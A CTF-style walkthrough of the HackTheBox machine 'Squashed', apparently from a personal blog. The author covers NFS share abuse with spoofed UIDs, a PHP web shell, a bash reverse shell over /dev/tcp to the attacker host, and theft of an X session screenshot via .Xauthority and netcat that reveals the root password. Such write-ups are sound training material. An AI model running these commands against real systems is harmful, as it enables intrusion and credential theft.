Squashed HackTheBox Writeup | 0xv01d
Squashed Walkthrough
Squashed Overview

Squashed machine on HackTheBox, submitted by polarbearer & c4rm3l0. The machine starts with an nfs share mount into which we can upload files that lead to gaining acces to the machine. After that, we find an Xauthority file that we can abuse to take a screenshot of another user's session that leaks the root password.

Reconnaissance

Port-Scan

As always let's start with a port scan, we have ssh, http, rpc and nfs, as nfs is open we can take a look at the shared mounts

Shared Mounts Exploration

NFS Mounting

We have two shared mounts, let's mount them


showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

mkdir /tmp/www /tmp/home_ross
sudo mount -t nfs 10.10.11.191:/home/ross /tmp/home_ross
sudo mount -t nfs 10.10.11.191:/var/www/html /tmp/www
 

Mount Enumeration

Once we mount them we can see some interesting files, in /home/ross we can see a Passwords.kdbx file which is a keepass database, also the .Xauthority file that is used by X11 for authorization, among other stuff, we also can't acces in /var/www/html, that's because we don't own or belong to the group, but we can add another user to acces


ls -l
drwxr-xr-x 1001    1001     4.0 KB Sun Jan  1 18:02:37 2023  home_ross
drwxr-xr-- 2017    www-data 4.0 KB Mon Jan  2 16:25:01 2023  www

 tree -fas ./home_ross
.
├── [          9]  ./.bash_history -> /dev/null
├── [       4096]  ./.cache [error opening dir]
├── [       4096]  ./.config [error opening dir]
├── [       4096]  ./Desktop
├── [       4096]  ./Documents
│   └── [       1365]  ./Documents/Passwords.kdbx
├── [       4096]  ./Downloads
├── [       4096]  ./.gnupg [error opening dir]
├── [       4096]  ./.local [error opening dir]
├── [       4096]  ./Music
├── [       4096]  ./Pictures
├── [       4096]  ./Public
├── [       4096]  ./Templates
├── [       4096]  ./Videos
├── [          9]  ./.viminfo -> /dev/null
├── [         57]  ./.Xauthority
├── [       2475]  ./.xsession-errors
└── [       2475]  ./.xsession-errors.old

12 directories, 6 files

tree -fas ./www
./www

0 directories, 0 files

cd ./www
cd: permission denied: ./www
 

Initial Access

Adding User

Once we add it, we can get in


sudo useradd test
sudo usermod -u 2017 test
sudo groupmod -g 2017 test
id test
uid=2017(test) gid=2017(test) groups=2017(test)
su test
$ bash

┌─[test@Anima]─[/tmp]
└──╼ $

ls -l
drwxr-xr-- test    www-data 4.0 KB Mon Jan  2 16:25:01 2023  www
 

Reverse Shell Setup

Since we can write on it, let's send us a reverse shell


echo "<?php   echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>'; ?>" > /tmp/www/shell.php

curl  "http://10.10.11.191/shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.16.30/443%200%3E%261%22"

sudo nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.191] 37866
alex@squashed:/var/www/html$ whoami
whoami
alex
alex@squashed:/var/www/html$ 
 

User Flag

Once we're in we can read the first flag


alex@squashed:/home/alex$ cat user.txt 
448f5f993960efc1a27a783c4229cf59
alex@squashed:/home/alex$ 
 

Privilege Escalation

Enumeration

As we saw before in /home/ross there's a kdbx file, but once we try to extract the hash in order to crack it we can see that the version is not supported by john


keepass2john Passwords.kdbx
! Passwords.kdbx : File version '40000' is currently not supported!
 

However, we saw the .Xauthority file, and as we can see, Ross has an active X session that we can take advantage of.


alex@squashed:/home/alex$ w
 01:21:05 up 1 day,  2:18,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               Sun23   26:18m  4:07   0.07s /usr/libexec/gn
alex@squashed:/home/alex$ 
 

Exploiting .Xauthority

Creating a Mimic User

Well, in order to exploit the .Xauthority, we have to create a user with the specified id which is 1001


sudo useradd test2
sudo usermod -u 1001 test2
su test2
$ bash

┌─[test2@Anima]─[/tmp/home_ross]
└──╼ $

ls -l ./.Xauthority 
-rw------- test2    1001 57 Jan  1 17:02   ./.Xauthority
 

Xauthority Transfer and Connection

Let's mount a python server and transfer the file from the mount to the machine, so we will have the same .Xauthority as ross


python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

alex@squashed:/home/alex$ wget http://10.10.16.30:8080/.Xauthority 
--2023-01-03 01:56:03--  http://10.10.16.30:8080/.Xauthority
Connecting to 10.10.16.30:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 57 [application/octet-stream]
Saving to: '.Xauthority'

.Xauthority         100%[===================>]      57  46.6 B/s    in 1.2s    

2023-01-03 01:56:07 (46.6 B/s) - '.Xauthority' saved [57/57]

python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.191 - - [02/Jan/2023 20:56:05] "GET /.Xauthority HTTP/1.1" 200 -
 

Screenshot Capture and Transfer

Let's check the connection, and as we can see, Ross has the keepass open, and we could try to take a screen shot of his screen, with some luck we can get something juicy


alex@squashed:~$ xdpyinfo -display :0
<....................................................>
  visual:
    visual id:    0x531
    class:    TrueColor
    depth:    32 planes
    available colormap entries:    256 per subfield
    red, green, blue masks:    0xff0000, 0xff00, 0xff
    significant bits in color specification:    8 bits
alex@squashed:~$

alex@squashed:~$ xwininfo -root -tree -display :0

xwininfo: Window id: 0x533 (the root window) (has no name)

  Root window id: 0x533 (the root window) (has no name)
  Parent window id: 0x0 (none)
     26 children:
     0x80000b "gnome-shell": ("gnome-shell" "Gnome-shell")  1x1+-200+-200  +-200+-200
        1 child:
        0x80000c (has no name): ()  1x1+-1+-1  +-201+-201
     0x800021 (has no name): ()  802x575+-1+26  +-1+26
        1 child:
        0x1800006 "Passwords - KeePassXC": ("keepassxc" "keepassxc")  800x536+1+38  +0+64
           1 child:
           0x18000fe "Qt NET_WM User Time Window": ()  1x1+-1+-1  +-1+63
<...........................................................................>
     0x1a00001 "keepassxc": ("keepassxc" "Keepassxc")  10x10+10+10  +10+10
<...........................................................................>
alex@squashed:~$ 
 

Let's take the screenshot, and transfer it to our machine


alex@squashed:~$ xwd -root -screen -silent -display :0 > screenshot.xwd
alex@squashed:~$ file ./screenshot.xwd 
./screenshot.xwd: XWD X Window Dump image data, "xwdump", 800x600x24
alex@squashed:~$ 

sudo nc -nlvp 9001 > scrreenshot.xwd
[sudo] password for p3rs0na: 
listening on [any] 9001 ...

alex@squashed:~$ nc 10.10.16.30 9001 < screenshot.xwd

sudo nc -nlvp 9001 > screenshot.xwd
[sudo] password for p3rs0na:
listening on [any] 9001 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.191] 54166

convert screenshot.xwd screenshot.png
 

Once we display it, we can see a password that appears to be the root's password

Root Flag

It is, and that's it, we own it


alex@squashed:~$ su root 
Password: cah$mei7rai9A
root@squashed:/home/alex# whoami
root
root@squashed:/home/alex# id
uid=0(root) gid=0(root) groups=0(root)
root@squashed:/home/alex# cat /root/root.txt 
06af9306ef91ff5196db950f941388e0
root@squashed:/home/alex# 
 
Buy Me A Coffee

0xv01d © 2022 - 2024